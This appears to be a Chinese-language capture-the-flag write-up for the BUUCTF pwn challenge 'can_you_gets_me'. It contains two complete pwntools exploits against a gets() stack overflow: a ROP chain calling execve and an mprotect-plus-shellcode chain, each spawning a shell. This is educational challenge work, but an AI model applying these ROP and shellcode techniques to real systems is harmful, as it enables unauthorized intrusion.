[BUUCTF]-PWN:picoctf_2018_can_you_gets_me解析

先看保护

再看ida

有一个不限长度的输入点gets,那能干的就很多了。

通俗易懂的思路有以下两种

解法一(系统调用):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120

payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

payload=b'/bin/sh\x00'
p.sendline(payload)

payload=b'a'*(0x18+4)+p32(pop_eax)+p32(11)+p32(pop_ebx)+p32(bss)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int80)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

p.interactive()

解题思路:

主要是利用gets函数先往任意可用的bss段来输入/bin/sh,这样我们进行系统调用才有参数,然后就可以再次输入进行系统调用execve。

补充点1:32位系统调用传参的寄存器顺序是ebx,ecx,edx等,eax用于存放系统调用号

补充点2:用ROPgadget找出的sh字符好像用不了,反正我尝试了一下,没法用,所以就自己往bss段写入/bin/sh了。

补充点3:他的gets函数是自己写的,没有plt和got,不能泄露libc地址

解法二(shellcode):

完整exp:

from pwn import*
context(log_level='debug')
#p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120


payload=b'a'*(0x18+4)+p32(mprotect)+p32(main)+p32(0x80e0000)+p32(0x10000)+p32(0x7)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)


shellcode='''
push 0
push 0x68732f2f
push 0x6e69622f
mov eax,11
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
'''
shellcode=asm(shellcode) #用pwntools自带的shellcode也能解
print(len(shellcode))

p.sendline(shellcode)

payload=b'a'*(0x18+4)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

p.interactive()

解题思路:

用mprotect把bss段的权限改成可执行,然后注入shellcode,再跳转到bss段执行就可以getshell了

补充点1:如果是自主编写的shellcode,传入的参数如果是;sh;或bash没法成功

补充点2:我这里往bss段注入shellcode而不是栈段注入,主要是因为栈的地址是不确定的,但bss段地址固定,往bss段注入不用求出地址,比较方便。

补充点3:能自己写shellcode最好自己写,因为pwntools给的shellcode有点大,而且题目要是限制一下shellcode也不好改

相关推荐

  1. MISRA C++ 2008 标准

    2024-02-05 13:30:05       51 阅读
  2. BUUCTF)actf_2019_actfnote

    2024-02-05 13:30:05       53 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-05 13:30:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-05 13:30:05       101 阅读
  3. 在Django里面运行非项目文件

    2024-02-05 13:30:05       82 阅读
  4. Python语言-面向对象

    2024-02-05 13:30:05       91 阅读

热门阅读

  1. Redis:bigkeys内存分析

    2024-02-05 13:30:05       51 阅读
  2. php 函数三

    2024-02-05 13:30:05       41 阅读
  3. 两次NAT

    两次NAT

    2024-02-05 13:30:05      50 阅读
  4. 3.7 GNU ARM汇编语言

    2024-02-05 13:30:05       51 阅读
  5. 华为配置车地通信快速切换实验

    2024-02-05 13:30:05       42 阅读
  6. 系统分析师-23年-上午答案

    2024-02-05 13:30:05       44 阅读
  7. 【使用 Python 进行 NLP】 第 2 部分 NLTK

    2024-02-05 13:30:05       50 阅读
  8. 合并排序算法

    2024-02-05 13:30:05       58 阅读
  9. JVM介绍

    JVM介绍

    2024-02-05 13:30:05      46 阅读
  10. HTTP/2

    2024-02-05 13:30:05       45 阅读
  11. 开源Vue UI框架

    2024-02-05 13:30:05       53 阅读